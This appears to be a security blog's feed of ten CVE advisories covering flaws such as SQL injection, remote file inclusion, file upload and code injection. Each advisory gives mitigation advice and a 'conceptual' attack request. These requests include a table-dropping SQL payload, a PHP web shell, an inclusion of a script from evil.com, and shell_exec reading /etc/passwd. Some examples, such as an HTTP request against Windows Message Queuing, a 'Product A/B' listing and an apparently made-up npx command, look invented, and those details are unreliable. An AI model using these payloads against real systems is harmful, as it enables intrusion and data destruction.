Author: Ameeba

  • CVE-2025-52720: SQL Injection Vulnerability in Super Store Finder

    Overview

    The CVE-2025-52720 vulnerability pertains to an SQL Injection flaw found in the Super Store Finder application. This flaw allows an attacker to manipulate the application’s database by injecting malicious SQL code. Super Store Finder, a widely used application that helps customers locate stores, is affected by this vulnerability, which has a CVSS Severity Score of 9.3. This vulnerability is significant because it can potentially compromise the entire system or lead to severe data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-52720
    Severity: Critical (9.3)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    Super Store Finder | Up to 7.5

    How the Exploit Works

    SQL Injection exploits work by injecting malicious SQL statements into input fields that are then passed to an SQL server for parsing and execution. In the case of the CVE-2025-52720 vulnerability, an attacker could leverage this vulnerability to manipulate the application’s SQL queries, which could lead to unauthorized access or manipulation of the database, potential system compromise, and data leakage.

    Conceptual Example Code

    The following is a conceptual example of how this vulnerability might be exploited. In this example, an attacker could use a specially crafted SQL command to manipulate the application’s database.

    POST /store/search HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded
    storeName=' OR '1'='1'; DROP TABLE users; --

    In this example, the malicious SQL command `’ OR ‘1’=’1′; DROP TABLE users; –` is injected into the `storeName` parameter. The SQL server receives this command, interprets `’ OR ‘1’=’1’` as true, and proceeds to execute the `DROP TABLE users;` command, which deletes the users table from the database.

    Mitigation Guidance

    To mitigate this vulnerability, users of Super Store Finder should apply the latest patch provided by the vendor. As a temporary solution, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help prevent SQL injection attacks. These tools can detect and block malicious SQL commands before they reach the application’s SQL server.

  • CVE-2025-49059: SQL Injection Vulnerability in CleverReach® WP

    Overview

    In today’s digital world, security breaches and vulnerabilities are a common occurrence. One such vulnerability is CVE-2025-49059, a severe SQL Injection flaw found in CleverReach® WP. This vulnerability is particularly concerning as it can potentially lead to system compromise or data leakage, impacting the security of sensitive information. It is crucial for organizations using CleverReach® WP to be aware of this vulnerability and implement the necessary precautions to secure their systems.

    Vulnerability Summary

    CVE ID: CVE-2025-49059
    Severity: Critical, with a CVSS score of 9.3
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    CleverReach® WP | Versions n/a through 1.5.20

    How the Exploit Works

    The flaw in CleverReach® WP allows attackers to send specifically crafted SQL queries. This issue arises due to the improper neutralization of special elements used in an SQL Command, which, if exploited successfully, can allow an attacker to manipulate the SQL queries executed by the application. This can lead to unauthorized access, data manipulation, or even full system control.

    Conceptual Example Code

    To understand how the vulnerability can be exploited, consider the following conceptual SQL Injection attack example:

    POST /vulnerable/query HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded
    username=admin&password=' OR '1'='1

    In this example, a malicious actor is injecting an ‘OR’ SQL statement into the password parameter. This can trick the system into authenticating the attacker, giving them access to sensitive data or control over the system.

    Impact and Mitigation

    As a result of this vulnerability, an attacker could potentially gain unauthorized access, manipulate data, or gain full control over the system. The severity of this vulnerability, coupled with the potential impact, makes it a critical concern for any organization using affected versions of CleverReach® WP.
    To mitigate this vulnerability, organizations should apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. It is also recommended to follow best practices for SQL queries, such as using parameterized queries or prepared statements to prevent SQL Injection attacks.

  • CVE-2025-48293: Critical PHP Remote File Inclusion Vulnerability in Dylan Kuhn Geo Mashup

    Overview

    The cybersecurity world is facing yet another critical vulnerability, this time in the form of a PHP Remote File Inclusion flaw in Dylan Kuhn’s Geo Mashup plugin. This vulnerability, indexed as CVE-2025-48293, affects all versions of the plugin up to and including 1.13.16. This is a significant issue due to the widespread use of Geo Mashup and the high severity of the vulnerability, which if exploited, could lead to system compromise or data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-48293
    Severity: Critical (CVSS: 9.8)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise or data leakage

    Affected Products

    Product | Affected Versions

    Dylan Kuhn Geo Mashup | Up to and including 1.13.16

    How the Exploit Works

    This vulnerability stems from the improper control of filename for Include/Require Statement in the PHP Program of the Geo Mashup plugin. An attacker can exploit this flaw by providing a specially crafted filename that causes the PHP interpreter to include a file from a remote server. The malicious file can be designed to execute arbitrary PHP code under the context of the target application, leading to a complete system compromise.

    Conceptual Example Code

    Here’s an example of how a potential attack might look, with the attacker sending a GET request to a vulnerable URL:

    GET /wp-content/plugins/geo-mashup/load.php?geo_mashup_content=../../../../../malicious_file HTTP/1.1
    Host: target.example.com

    In the above example, `malicious_file` would be a file hosted on a remote server and designed to execute arbitrary PHP code when included by the vulnerable application.

    Mitigation and Remediation Guidance

    Users are strongly advised to apply the vendor-supplied patch for this vulnerability as soon as possible. If immediate patching is not feasible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure to detect and prevent exploitation attempts. However, these measures should only be considered temporary as they do not address the underlying vulnerability.
    In addition to these measures, it is always recommended to follow best practices for secure coding to prevent such vulnerabilities from being introduced in the first place. This includes proper handling and sanitization of user input, and avoiding the use of dangerous PHP functions like `include` or `require` with user-supplied data.

  • CVE-2025-8943: Unauthenticated OS Command Execution in Flowise

    Overview

    The Common Vulnerabilities and Exposures (CVE) system has recently identified a significant vulnerability, CVE-2025-8943, within Flowise’s Custom MCPs feature. This vulnerability, which affects versions of Flowise prior to 3.0.1, carries high potential for system compromise or data leakage. The lack of robust authentication and authorization in Flowise, compounded by the ability for unauthenticated network attackers to execute OS commands, creates a high-risk environment for any organization using these versions of the software.

    Vulnerability Summary

    CVE ID: CVE-2025-8943
    Severity: Critical (9.8 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise or data leakage

    Affected Products

    Product | Affected Versions

    Flowise | Before 3.0.1

    How the Exploit Works

    The CVE-2025-8943 vulnerability exploits the Custom MCPs feature in Flowise, which is designed to execute OS commands using tools like `npx` to spin up local MCP servers. The issue lies in the lack of robust authentication and authorization mechanisms, allowing unauthenticated network attackers to execute these commands, potentially leading to unsanctioned access to the system. Further, unless explicitly configured, Flowise operates without authentication, making it even more susceptible to this vulnerability.

    Conceptual Example Code

    The following conceptual example demonstrates how the vulnerability might be exploited:

    $ npx mcps --server https://target.example.com --execute "cat /etc/passwd"

    In this example, an attacker uses the `npx` tool to spin up a local MCP server targeting the vulnerable application and executes the `cat /etc/passwd` command. This action could potentially reveal sensitive system information, leading to further compromise.

    Mitigation and Prevention

    Users of affected versions of Flowise are strongly advised to apply the vendor patch that addresses this vulnerability. Until the patch can be applied, users may employ a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation methods. These systems can monitor and block suspicious activities based on predefined or dynamically learned rules. However, these are not foolproof solutions and do not substitute the urgent need for applying the patch.
    Cybersecurity is a shared responsibility. Stay vigilant, keep your software up to date, and always follow best practices to keep your systems secure.

  • CVE-2025-49887: Critical Code Injection Vulnerability in Product XML Feed Manager for WooCommerce

    Overview

    A critical security flaw, identified as CVE-2025-49887, has been found in WPFactory’s Product XML Feed Manager for WooCommerce. This vulnerability, which allows remote code inclusion, could potentially lead to system compromise and data leakage. It’s vital for all WooCommerce users who utilize the Product XML Feed Manager plugin to understand this vulnerability, its potential impact, and the measures needed to mitigate it. Ignoring it could lead to unauthorized system access, disruption of service, or even loss of sensitive data.

    Vulnerability Summary

    CVE ID: CVE-2025-49887
    Severity: Critical (9.9 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage.

    Affected Products

    Product | Affected Versions

    Product XML Feed Manager for WooCommerce | Up to version 2.9.3

    How the Exploit Works

    The vulnerability lies in the improper control of the generation of code, allowing for code injection. This means that an attacker can remotely include malicious code that the server will execute. The flaw makes it possible for an attacker to inject and execute arbitrary PHP or JavaScript code in the context of the application. This could lead to a full compromise of the system, including unauthorized access, data manipulation, or data theft.

    Conceptual Example Code

    Here’s a conceptual example of how the vulnerability might be exploited in a HTTP request:

    POST /wp-content/plugins/product-xml-feed-manager-for-woocommerce/api/upload HTTP/1.1
    Host: target.example.com
    Content-Type: application/xml
    <?xml version="1.0" encoding="UTF-8"?>
    <document>
    <command><![CDATA[
    // PHP code to be injected
    echo shell_exec("cat /etc/passwd");
    ]]></command>
    </document>

    In this example, the attacker sends an HTTP POST request to the vulnerable endpoint on the target server. The malicious payload in the HTTP body contains a PHP script that, when executed, reads and outputs the content of the “/etc/passwd” file, potentially revealing sensitive information.

    Mitigation Guidance

    Users of the Product XML Feed Manager for WooCommerce plugin should immediately update to a version beyond 2.9.3, as this is the last affected version. If a patch from the vendor is not yet available, users should consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can detect and block attempts to exploit this vulnerability.

  • CVE-2025-8047: Critical Security Vulnerability in WordPress Plugins Pixterme and Pixter-Image-Digital-License

    Overview

    The cybersecurity industry has recently identified a critical vulnerability, CVE-2025-8047, affecting two popular WordPress plugins: disable-right-click-powered-by-pixterme (versions up to v1.2) and pixter-image-digital-license (versions up to v1.0). This security flaw allows potential unauthorized access to the affected systems, making it a high priority issue for any website using these plugins. The vulnerability stems from a compromised JavaScript file, which has been linked to an abandoned S3 bucket and can be used as a backdoor by threat actors. Although currently the exploit displays a pop-up marketing security services, this could easily be manipulated for more malicious intent, leading to potential system compromise or data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-8047
    Severity: Critical (CVSS score 9.8)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: Not required
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    disable-right-click-powered-by-pixterme | Up to v1.2
    pixter-image-digital-license | Up to v1.0

    How the Exploit Works

    The affected WordPress plugins load a compromised JavaScript file from an apparently abandoned S3 bucket. This file can be used as a backdoor, providing unauthorized access to the system. Currently, the exploit triggers an alert that markets security services, and users who pay are added to allowedDomains to suppress the popup. However, it’s important to note that the control of this backdoor could be used for more malicious purposes, which could lead to system compromises or data leakage.

    Conceptual Example Code

    Below is a conceptual example of how this vulnerability might be exploited. The malicious actor could manipulate the compromised JavaScript file to perform harmful actions. This could be achieved by modifying the alert’s JavaScript code to execute malicious actions instead of the usual popup:

    // Original code
    var popup = document.createElement('div');
    popup.innerHTML = "<h1>This site is protected by Pixterme</h1>";
    document.body.appendChild(popup);
    // Maliciously modified code
    var xhr = new XMLHttpRequest();
    xhr.open('GET', '/path/to/sensitive/data', true);
    xhr.send();

    In this example, the malicious actor has replaced the popup creation code with a code that sends a GET request to a sensitive endpoint, potentially leaking data.

    Mitigation Guidance

    To mitigate the risk associated with this vulnerability, users are strongly advised to apply the vendor patch as soon as it becomes available. This patch will likely address the compromised JavaScript file and prevent the exploit from being used as a backdoor. In the interim, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure to detect and block attempts to exploit this vulnerability.

  • CVE-2025-55346: Unsafe Implementation of Dynamic Function Constructor Enabling Remote Code Execution

    Overview

    The vulnerability CVE-2025-55346 is a severe security issue which allows network attackers to execute arbitrary unsandboxed JavaScript code within the context of the host system. This is achieved by the attacker sending a simple POST request to the host. The vulnerability arises from an unsafe implementation of a dynamic Function constructor that does not properly sanitize user-controlled input. Any system or application that accepts user input and fails to sanitize it before it reaches the Function constructor is at risk. This security flaw is significant because, if successfully exploited, it can lead to system compromise or data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-55346
    Severity: Critical (9.8 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System Compromise or Data Leakage

    Affected Products

    Product | Affected Versions

    Product A | All versions prior to 1.2.3
    Product B | All versions prior to 4.5.6

    How the Exploit Works

    The exploit takes advantage of a weakness in the design of certain applications that use a dynamic Function constructor. If the application fails to sanitize user-controlled input before it reaches the Function constructor, it can be manipulated by a malicious actor. The attacker sends a specially crafted POST request containing malicious JavaScript code. The application, failing to properly sanitize this input, allows the code to be executed within the host’s context.

    Conceptual Example Code

    Here is a conceptual example of how the vulnerability might be exploited. This example shows a malicious HTTP POST request:

    POST /vulnerable/endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "malicious_payload": "new Function('return process')().exit()" }

    In this example, the malicious payload is a JavaScript function that, if executed, could terminate the process on the host system. In a real-world scenario, the malicious payload could include any arbitrary JavaScript code, potentially leading to more severe consequences such as system compromise or data leakage.

    Mitigation Guidance

    The most effective way to mitigate this vulnerability is to apply the patch provided by the vendor as soon as it becomes available. In the interim, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection by blocking or alerting on attempts to exploit this vulnerability.

  • CVE-2025-24775: High Severity Unrestricted File Upload Vulnerability in Made I.T. Forms

    Overview

    The CVE-2025-24775 is a critical vulnerability that affects the Made I.T. Forms software. This vulnerability allows an attacker to upload a file of dangerous type, specifically a web shell, to the server, potentially compromising the entire system or leading to data leakage. The affected software version range is from ‘n/a’ through 2.9.0. Given the high CVSS Severity Score of 9.9, this vulnerability warrants immediate attention from system administrators and security professionals.

    Vulnerability Summary

    CVE ID: CVE-2025-24775
    Severity: Critical (CVSS: 9.9)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise or data leakage

    Affected Products

    Product | Affected Versions

    Made I.T. Forms | n/a through 2.9.0

    How the Exploit Works

    The exploit takes advantage of the unrestricted file upload vulnerability present in Made I.T. Forms. This means that the software does not adequately inspect or limit the type of files that can be uploaded by users. An attacker can exploit this by uploading a specially crafted file, in this case, a web shell.
    A web shell is a script that, when executed on a server, provides a hacker with remote control over the server. It gives the attacker the same permissions as the account that runs the web server software, which in many cases, is a high-privileged or system-level account.

    Conceptual Example Code

    The exploit could be performed by sending an HTTP POST request to the file upload endpoint with a malicious web shell file. Here’s a conceptual example of the HTTP request:

    POST /upload HTTP/1.1
    Host: target.example.com
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
    ------WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="file"; filename="shell.php"
    Content-Type: application/php
    <?php system($_GET['cmd']); ?>
    ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    In this example, `shell.php` is a simple web shell that allows execution of arbitrary commands on the server. The actual exploit would likely use a more complex and less detectable web shell.

    Mitigation

    The immediate mitigation for this vulnerability is to apply the vendor-provided patch. If the patch cannot be applied immediately, a temporary mitigation would be to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. Additionally, consider restricting file uploads to only trusted users and validate the file type server-side before accepting the file.

  • CVE-2025-25174: Critical PHP Remote File Inclusion Vulnerability in BeeTeam368 Extensions

    Overview

    The cybersecurity world is on high alert due to a newly discovered vulnerability labeled CVE-2025-25174. This critical flaw resides in the BeeTeam368 Extensions, affecting all versions up to and including 1.9.4. The vulnerability stems from an Improper Control of Filename for Include/Require Statement in PHP Program, often referred to as ‘PHP Remote File Inclusion.’ This sort of vulnerability can lead to severe consequences, including potential system compromise or data leakage. Therefore, it is vital for any organization utilizing BeeTeam368 Extensions to understand this risk and take necessary actions to mitigate it.

    Vulnerability Summary

    CVE ID: CVE-2025-25174
    Severity: Critical (CVSS:10.0)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    BeeTeam368 Extensions | n/a through 1.9.4

    How the Exploit Works

    This exploit takes advantage of the PHP Remote File Inclusion vulnerability in BeeTeam368 Extensions. The issue arises from the improper control of a filename that’s being included in a PHP program from a remote server. Attackers can manipulate this filename to include a file from a remote server that contains malicious PHP code. Once the file is included, the malicious code is executed in the context of the affected application, potentially leading to unauthorized access, data breach, or even a complete system takeover.

    Conceptual Example Code

    Here is a conceptual example demonstrating how an attacker might exploit this vulnerability:

    GET /beeteam368_extension.php?file=http://evil.com/malicious_script.txt HTTP/1.1
    Host: target.example.com

    In this example, the attacker sends a GET request to a vulnerable PHP file (`beeteam368_extension.php`) on the target server (`target.example.com`). The `file` parameter is manipulated to include a malicious PHP script (`malicious_script.txt`) from a remote server controlled by the attacker (`evil.com`). If the server processes this request, it unknowingly executes the malicious script, compromising the system.

    Mitigation Guidance

    The best course of action to mitigate this vulnerability is to apply the vendor-provided patch. If a patch is not immediately available or applicable, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to block or alert on attempts to exploit this vulnerability, providing some level of protection until a more permanent solution can be implemented.

  • CVE-2025-53145: Type Confusion Vulnerability in Windows Message Queuing Allowing Remote Code Execution

    Overview

    The cybersecurity landscape is constantly evolving, and every now and then, a vulnerability surfaces that could potentially compromise a vast number of systems worldwide. Such is the case with CVE-2025-53145, a significant vulnerability identified in Windows Message Queuing. This vulnerability, if exploited, can grant an attacker the ability to execute code remotely over a network. Given the widespread use of Windows systems by businesses, institutions, and individuals alike, understanding this vulnerability and applying necessary mitigations is crucial to ensure the safety of your data infrastructure.

    Vulnerability Summary

    CVE ID: CVE-2025-53145
    Severity: High (8.8 CVSS v3)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Windows Message Queuing | All versions prior to patch

    How the Exploit Works

    The vulnerability lies in the function of Windows Message Queuing that handles the access of resources. It occurs due to a type confusion issue, where the system can be tricked into handling a resource with an incompatible type. This confusion can be manipulated by an attacker to remotely execute code on a victim’s system over a network. Since the Windows Message Queuing service is designed to facilitate communication between networked systems, this vulnerability could potentially be exploited to compromise a large number of systems if left unpatched.

    Conceptual Example Code

    The following conceptual example demonstrates how an attacker might exploit this vulnerability. This is a simplified demonstration and actual exploitation would likely require a more sophisticated approach.

    POST /wmq/resource HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    {
    "resource_id": "123",
    "resource_type": "Queue",
    "resource_data": "malicious_code_here"
    }

    In this example, the attacker sends a POST request to the Windows Message Queuing (WMQ) service endpoint with a `resource_type` that is inconsistent with the `resource_data`. The WMQ service, due to the type confusion issue, attempts to process the `resource_data` as if it were a legitimate `Queue` type, thereby executing the malicious code.

    Mitigation

    The most effective mitigation for this vulnerability is to apply the vendor-provided patch. If a patching is not immediately possible, it is recommended to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary measure to detect and block potential exploit attempts. As with all software, keeping your systems updated with the latest patches and security fixes is the best way to protect against vulnerabilities like CVE-2025-53145.

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